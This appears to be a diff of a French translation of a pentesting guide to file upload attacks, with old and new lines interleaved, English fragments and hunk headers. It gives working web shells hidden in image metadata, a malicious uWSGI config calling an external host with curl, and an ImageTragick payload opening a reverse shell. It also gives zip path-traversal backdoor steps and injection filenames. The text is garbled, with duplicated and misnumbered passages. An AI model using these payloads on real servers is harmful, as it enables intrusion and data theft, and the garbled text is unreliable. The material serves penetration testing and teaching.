8. Essayez de dépasser les limites de nom de fichier. L'extension valide est coupée. Et le PHP malveillant reste. AAA<--SNIP-->AAA.php
6. Essayez de placer **l'extension exécutable avant l'extension valide** et priez que le serveur soit mal configuré. (utile pour exploiter des misconfigurations Apache où tout ce qui contient l'extension **.php**, mais **n'ayant pas nécessairement .php en fin de nom**, exécutera du code) :
- _ex: file.php.png_
7. Utilisation des **NTFS alternate data stream (ADS)** sous **Windows**. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (ex. "file.asax:.jpg”). Ce fichier peut être modifié plus tard via d'autres techniques comme l'utilisation de son nom court. Le motif "**::$data**” peut aussi être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un point après ce motif peut également être utile pour contourner d'autres restrictions (ex. "file.asp::$data.”)
8. Essayez de dépasser les limites de nom de fichier. L'extension valide est tronquée. Et le PHP malveillant reste. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # moins 4 ici et ajout de .png
# Téléchargez le fichier et vérifiez la réponse combien de caractères il permet. Disons 236
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Créez le payload
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
```
### Contourner Content-Type, Magic Number, Compression & Redimensionnement
- Contourner les vérifications de **Content-Type** en définissant la **valeur** de l'**en-tête Content-Type** à : _image/png_, _text/plain_, application/octet-stream_
- Contourner les contrôles de **Content-Type** en définissant la **valeur** de l'en-tête **Content-Type** sur : _image/png_ , _text/plain , application/octet-stream_
1. Liste de mots pour Content-Type : [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Contourner la vérification de **magic number** en ajoutant au début du fichier les **octets d'une vraie image** (confondre la commande _file_). Ou introduire le shell dans les **métadonnées** :\
- Contourner la vérification du **magic number** en ajoutant au début du fichier les **octets d'une vraie image** (pour tromper la commande _file_). Ou introduire le shell dans les **métadonnées** :\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` ou vous pourriez également **introduire le payload directement** dans une image :\
`\` ou vous pouvez aussi **introduire le payload directement** dans une image :\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Si **une compression est ajoutée à votre image**, par exemple en utilisant certaines bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pourriez utiliser le **chunk PLTE** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- Si une **compression** est appliquée à votre image, par exemple en utilisant des bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pouvez utiliser le **chunk PLTE** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- La page web pourrait également **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pourriez utiliser le **chunk IDAT** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- La page web peut aussi **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pouvez utiliser le **chunk IDAT** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Une autre technique pour créer un payload qui **survit à un redimensionnement d'image**, en utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pourriez utiliser le **chunk tEXt** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- Une autre technique pour créer un payload qui **survit à un redimensionnement d'image**, en utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pouvez utiliser le **chunk tEXt** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Autres astuces à vérifier
### Autres astuces à tester
- Trouvez une vulnérabilité pour **renommer** le fichier déjà téléchargé (pour changer l'extension).
- Trouvez une vulnérabilité de **Local File Inclusion** pour exécuter le backdoor.
- **Possible divulgation d'informations** :
1. Téléchargez **plusieurs fois** (et en **même temps**) le **même fichier** avec le **même nom**
2. Téléchargez un fichier avec le **nom** d'un **fichier** ou **dossier** qui **existe déjà**
3. Téléchargez un fichier avec **“.”, “..”, ou “…” comme nom**. Par exemple, dans Apache sous **Windows**, si l'application enregistre les fichiers téléchargés dans le répertoire “/www/uploads/”, le nom de fichier “.” créera un fichier appelé “uploads” dans le répertoire “/www/”.
4. Téléchargez un fichier qui peut ne pas être facilement supprimé tel que **“…:.jpg”** dans **NTFS**. (Windows)
5. Téléchargez un fichier sous **Windows** avec des **caractères invalides** tels que `|<>*?”` dans son nom. (Windows)
6. Téléchargez un fichier sous **Windows** en utilisant des **noms réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, et LPT9.
- Essayez également de **télécharger un exécutable** (.exe) ou un **.html** (moins suspect) qui **exécutera du code** lorsqu'il sera accidentellement ouvert par la victime.
- Trouver une vulnérabilité permettant de **renommer** le fichier déjà téléversé (pour changer l'extension).
- Trouver une vulnérabilité **Local File Inclusion** pour exécuter le backdoor.
- **Divulgation d'information possible** :
1. Téléverser **plusieurs fois** (et **en même temps**) le **même fichier** avec le **même nom**
2. Téléverser un fichier portant le **nom** d'un **fichier** ou d'un **dossier** qui **existe déjà**
3. Téléverser un fichier nommé **"." , "..”**, ou "…” . Par exemple, sous Apache sur **Windows**, si l'application enregistre les fichiers uploadés dans le dossier "/www/uploads/”, le nom de fichier "." créera un fichier appelé "uploads” dans le répertoire "/www/”.
4. Téléverser un fichier difficile à supprimer comme **"…:.jpg”** sur **NTFS**. (Windows)
5. Téléverser un fichier sous **Windows** avec des **caractères invalides** comme `|<>*?”` dans son nom. (Windows)
6. Téléverser un fichier sous **Windows** en utilisant des noms **réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Essayez aussi de **téléverser un exécutable** (.exe) ou un **.html** (moins suspect) qui **exécutera du code** quand il sera accidentellement ouvert par la victime.
### Astuces spéciales d'extension
### Astuces pour extensions spéciales
Si vous essayez de télécharger des fichiers sur un **serveur PHP**, [jetez un œil à l'astuce **.htaccess** pour exécuter du code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Si vous essayez de télécharger des fichiers sur un **serveur ASP**, [jetez un œil à l'astuce **.config** pour exécuter du code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Si vous essayez de téléverser des fichiers sur un serveur **PHP**, [jetez un œil à l'astuce **.htaccess** pour exécuter du code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Si vous essayez de téléverser des fichiers sur un serveur **ASP**, [jetez un œil à l'astuce **.config** pour exécuter du code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Les fichiers `.phar` sont comme les `.jar` pour Java, mais pour PHP, et peuvent être **utilisés comme un fichier PHP** (en l'exécutant avec PHP, ou en l'incluant dans un script...)
Les fichiers `.phar` sont comme les `.jar` pour java, mais pour php, et peuvent être **utilisés comme un fichier php** (exécutés avec php, ou inclus dans un script...)
L'extension `.inc` est parfois utilisée pour des fichiers PHP qui ne sont utilisés que pour **importer des fichiers**, donc, à un moment donné, quelqu'un aurait pu permettre **l'exécution de cette extension**.
L'extension `.inc` est parfois utilisée pour des fichiers php servant uniquement à **inclure/importer** du code, donc, à un moment, quelqu'un peut avoir autorisé **cette extension à être exécutée**.
## **Jetty RCE**
Si vous pouvez télécharger un fichier XML sur un serveur Jetty, vous pouvez obtenir [RCE car **les nouveaux \*.xml et \*.war sont automatiquement traités**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Donc, comme mentionné dans l'image suivante, téléchargez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell !
Si vous pouvez téléverser un fichier XML sur un serveur Jetty vous pouvez obtenir [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Donc, comme indiqué dans l'image suivante, téléversez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell !
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -106,9 +106,9 @@ Si vous pouvez télécharger un fichier XML sur un serveur Jetty, vous pouvez ob
Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Les vulnérabilités d'exécution de commande à distance (RCE) peuvent être exploitées dans les serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables "magiques", des espaces réservés et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schémas pris en charge dans uWSGI, le schéma "exec" est particulièrement puissant, permettant la lecture de données à partir de la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsqu'un fichier de configuration `.ini` est traité.
Des vulnérabilités de Remote Command Execution (RCE) peuvent être exploitées sur des serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour intégrer des variables "magiques", des placeholders et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schémas supportés par uWSGI, le schéma "exec" est particulièrement puissant, permettant de lire des données depuis la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que Remote Command Execution ou Arbitrary File Write/Read lorsqu'un fichier de configuration `.ini` est traité.
Considérez l'exemple suivant d'un fichier `uwsgi.ini` nuisible, montrant divers schémas :
Considérez l'exemple suivant d'un fichier `uwsgi.ini` malveillant :
```ini
[uwsgi]
; read from a symbol
@ -126,14 +126,15 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
L'exécution de la charge utile se produit lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit soit être redémarré (potentiellement après un crash ou en raison d'une attaque par déni de service), soit le fichier doit être configuré pour se recharger automatiquement. La fonction de rechargement automatique, si elle est activée, recharge le fichier à des intervalles spécifiés lors de la détection de modifications.
L'exécution du payload a lieu lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit soit être redémarré (éventuellement après un crash ou en raison d'une attaque de Denial of Service), soit que le fichier soit configuré en auto-reload. La fonctionnalité d'auto-reload, si elle est activée, recharge le fichier à des intervalles spécifiés lorsqu'elle détecte des modifications.
Il est crucial de comprendre la nature laxiste de l'analyse du fichier de configuration de uWSGI. En particulier, la charge utile discutée peut être insérée dans un fichier binaire (tel qu'une image ou un PDF), élargissant ainsi le champ d'exploitation potentiel.
Il est crucial de comprendre la nature laxiste du parsing des fichiers de configuration de uWSGI. Plus précisément, le payload évoqué peut être inséré dans un fichier binaire (comme une image ou un PDF), élargissant ainsi encore le champ d'exploitation potentiel.
## **wget File Upload/SSRF Trick**
Dans certaines occasions, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et vous pouvez **indiquer** l'**URL**. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés est dans une liste blanche pour s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, **cette vérification peut être contournée.**\
La **longueur maximale** d'un **nom de fichier** dans **linux** est de **255**, cependant, **wget** tronque les noms de fichiers à **236** caractères. Vous pouvez **télécharger un fichier appelé "A"\*232+".php"+".gif"**, ce nom de fichier **contournera** la **vérification** (car dans cet exemple **".gif"** est une **extension valide**) mais `wget` **renommera** le fichier en **"A"\*232+".php"**.
Parfois, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et que vous pouvez **indiquer** l**URL**. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés figure dans une whitelist afin de s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, **cette vérification peut être contournée.**\
La **longueur maximale** d'un **nom de fichier** sous **linux** est de **255**, cependant **wget** tronque les noms de fichier à **236** caractères. Vous pouvez **télécharger un fichier appelé "A"\*232+".php"+".gif"**, ce nom de fichier **contournera** la **vérification** (comme dans cet exemple **".gif"** est une extension **valide**) mais `wget` **renommera** le fichier en **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,82 +157,87 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Notez qu'une **autre option** à laquelle vous pourriez penser pour contourner cette vérification est de faire en sorte que le **serveur HTTP redirige vers un autre fichier**, de sorte que l'URL initiale contourne la vérification, puis wget téléchargera le fichier redirigé avec le nouveau nom. Cela **ne fonctionnera pas** **à moins que** wget ne soit utilisé avec le **paramètre** `--trust-server-names` car **wget téléchargera la page redirigée avec le nom du fichier indiqué dans l'URL d'origine**.
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
## Outils
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) est un outil puissant conçu pour aider les Pentesters et les Bug Hunters à tester les mécanismes de téléchargement de fichiers. Il exploite diverses techniques de bug bounty pour simplifier le processus d'identification et d'exploitation des vulnérabilités, garantissant des évaluations approfondies des applications web.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
## Du téléchargement de fichiers à d'autres vulnérabilités
### Corrupting upload indices with snprintf quirks (historical)
- Définissez **filename** sur `../../../tmp/lol.png` et essayez d'atteindre un **path traversal**
- Définissez **filename** sur `sleep(10)-- -.jpg` et vous pourriez être en mesure d'atteindre une **injection SQL**
- Définissez **filename** sur `<svg onload=alert(document.domain)>` pour réaliser un XSS
- Définissez **filename** sur `; sleep 10;` pour tester une injection de commande (plus de [trucs d'injection de commandes ici](../command-injection.md))
- [**XSS** dans le téléchargement de fichiers image (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** fichier **upload** + **XSS** = [exploitation des **Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE dans le téléchargement svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via le téléchargement de fichiers svg](../open-redirect.md#open-redirect-uploading-svg-files)
- Essayez **différents payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Fameuse vulnérabilité **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Si vous pouvez **indiquer au serveur web de récupérer une image depuis une URL**, vous pourriez essayer d'abuser d'un [SSRF](../ssrf-server-side-request-forgery/index.html). Si cette **image** doit être **enregistrée** sur un site **public**, vous pourriez également indiquer une URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) et **voler des informations de chaque visiteur**.
- [**XXE et CORS** contournement avec le téléchargement de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
- PDF spécialement conçus pour XSS : La [page suivante présente comment **injecter des données PDF pour obtenir une exécution JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez télécharger des PDF, vous pourriez préparer un PDF qui exécutera du JS arbitraire suivant les indications données.
- Téléchargez le contenu \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) pour vérifier si le serveur a un **antivirus**
- Vérifiez s'il y a une **limite de taille** lors du téléchargement de fichiers
Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.
Voici un top 10 des choses que vous pouvez réaliser en téléchargeant (de [ici](https://twitter.com/SalahHasoneh1/status/1281274120395685889)) :
## From File upload to other vulnerabilities
1. **ASP / ASPX / PHP5 / PHP / PHP3** : Webshell / RCE
2. **SVG** : XSS stocké / SSRF / XXE
3. **GIF** : XSS stocké / SSRF
4. **CSV** : injection CSV
5. **XML** : XXE
6. **AVI** : LFI / SSRF
7. **HTML / JS** : injection HTML / XSS / Open redirect
8. **PNG / JPEG** : attaque par inondation de pixels (DoS)
9. **ZIP** : RCE via LFI / DoS
10. **PDF / PPTX** : SSRF / XXE AVEUGLE
- Définir **filename** sur `../../../tmp/lol.png` et essayer d'obtenir un **path traversal**
- Définir **filename** sur `sleep(10)-- -.jpg` et vous pourrez peutêtre obtenir une **SQL injection**
- Définir **filename** sur `<svg onload=alert(document.domain)>` pour obtenir un **XSS**
- Définir **filename** sur `; sleep 10;` pour tester une **command injection** (more [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Check if there is any **size limit** uploading files
Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
4. **CSV**: CSV injection
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTML injection / XSS / Open redirect
8. **PNG / JPEG**: Pixel flood attack (DoS)
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Burp Extension
#### Extension Burp
{{#ref}}
https://github.com/portswigger/upload-scanner
{{#endref}}
## Octets d'en-tête magiques
## Magic Header Bytes
- **PNG** : `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG** : `"\xff\xd8\xff"`
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Référez-vous à [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) pour d'autres types de fichiers.
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
## Téléchargement de fichiers Zip/Tar automatiquement décompressés
## Zip/Tar File Automatically decompressed Upload
Si vous pouvez télécharger un ZIP qui sera décompressé sur le serveur, vous pouvez faire 2 choses :
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
### Symlink
Téléchargez un lien contenant des liens symboliques vers d'autres fichiers, puis, en accédant aux fichiers décompressés, vous accéderez aux fichiers liés :
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Décompression dans différents dossiers
### Décompresser dans des dossiers différents
La création inattendue de fichiers dans des répertoires lors de la décompression est un problème significatif. Malgré les hypothèses initiales selon lesquelles cette configuration pourrait protéger contre l'exécution de commandes au niveau du système d'exploitation via des téléchargements de fichiers malveillants, le support de compression hiérarchique et les capacités de traversée de répertoires du format d'archive ZIP peuvent être exploités. Cela permet aux attaquants de contourner les restrictions et d'échapper aux répertoires de téléchargement sécurisés en manipulant la fonctionnalité de décompression de l'application ciblée.
La création inattendue de fichiers dans des répertoires lors de la décompression est un problème important. Malgré l'hypothèse initiale que cette configuration pourrait empêcher l'exécution de commandes au niveau du système d'exploitation via des uploads de fichiers malveillants, le support de compression hiérarchique et les capacités de traversal de répertoires du format d'archive ZIP peuvent être exploités. Cela permet aux attaquants de contourner les restrictions et de s'échapper des répertoires d'upload sécurisés en manipulant la fonctionnalité de décompression de l'application ciblée.
Un exploit automatisé pour créer de tels fichiers est disponible sur [**evilarc sur GitHub**](https://github.com/ptoomey3/evilarc). L'utilitaire peut être utilisé comme suit :
Un exploit automatisé pour créer de tels fichiers est disponible à [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilitaire peut être utilisé comme suit :
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
De plus, le **truc du symlink avec evilarc** est une option. Si l'objectif est de cibler un fichier comme `/flag.txt`, un symlink vers ce fichier doit être créé dans votre système. Cela garantit qu'evilarc ne rencontre pas d'erreurs lors de son fonctionnement.
De plus, le **symlink trick with evilarc** est une option. Si l'objectif est de cibler un fichier comme `/flag.txt`, un symlink vers ce fichier doit être créé sur votre système. Cela garantit qu'evilarc ne rencontrera pas d'erreurs lors de son exécution.
Voici un exemple de code Python utilisé pour créer un fichier zip malveillant :
Ci-dessous un exemple de code Python utilisé pour créer un fichier zip malveillant :
```python
#!/usr/bin/python
import zipfile
@ -249,11 +255,11 @@ zip.close()
create_zip()
```
**Abuser de la compression pour le file spraying**
**Abuser de la compression pour file spraying**
Pour plus de détails **voir le post original dans** : [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Pour plus de détails **consultez l'article original** : [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Création d'un Shell PHP** : Le code PHP est écrit pour exécuter des commandes passées par la variable `$_REQUEST`.
1. **Création d'un PHP Shell**: Le code PHP est écrit pour exécuter des commandes passées via la variable `$_REQUEST`.
```php
<?php
@ -263,14 +269,14 @@ system($cmd);
}?>
```
2. **File Spraying et création de fichiers compressés** : Plusieurs fichiers sont créés et une archive zip est assemblée contenant ces fichiers.
2. **File Spraying and Compressed File Creation**: Plusieurs fichiers sont créés et une archive zip est assemblée contenant ces fichiers.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification avec un éditeur hexadécimal ou vi** : Les noms des fichiers à l'intérieur du zip sont modifiés en utilisant vi ou un éditeur hexadécimal, changeant "xxA" en "../" pour traverser les répertoires.
3. **Modification avec un éditeur hexadécimal ou vi**: Les noms des fichiers à l'intérieur du zip sont modifiés en utilisant vi ou un éditeur hexadécimal, en remplaçant "xxA" par "../" pour traverser les répertoires.
```bash
:set modifiable
@ -280,38 +286,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Téléchargez ce contenu avec une extension d'image pour exploiter la vulnérabilité **(ImageMagick , 7.0.1-1)** (formez le [exploit](https://www.exploit-db.com/exploits/39767))
Téléversez ce contenu avec une extension image pour exploiter la vulnérabilité **(ImageMagick , 7.0.1-1)** (à partir de l'[exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Intégration d'un Shell PHP dans un PNG
## Intégration d'une PHP shell dans un PNG
L'intégration d'un shell PHP dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'image. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes dans ce contexte, car elles sont couramment utilisées pour redimensionner et rééchantillonner des images, respectivement. La capacité du shell PHP intégré à rester non affecté par ces opérations est un avantage significatif pour certains cas d'utilisation.
L'insertion d'une PHP shell dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'images. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes ici, car elles sont couramment utilisées pour redimensionner et rééchantillonner des images, respectivement. Le fait que la PHP shell intégrée reste intacte après ces opérations est un avantage important dans certains cas d'utilisation.
Une exploration détaillée de cette technique, y compris sa méthodologie et ses applications potentielles, est fournie dans l'article suivant : ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Cette ressource offre une compréhension complète du processus et de ses implications.
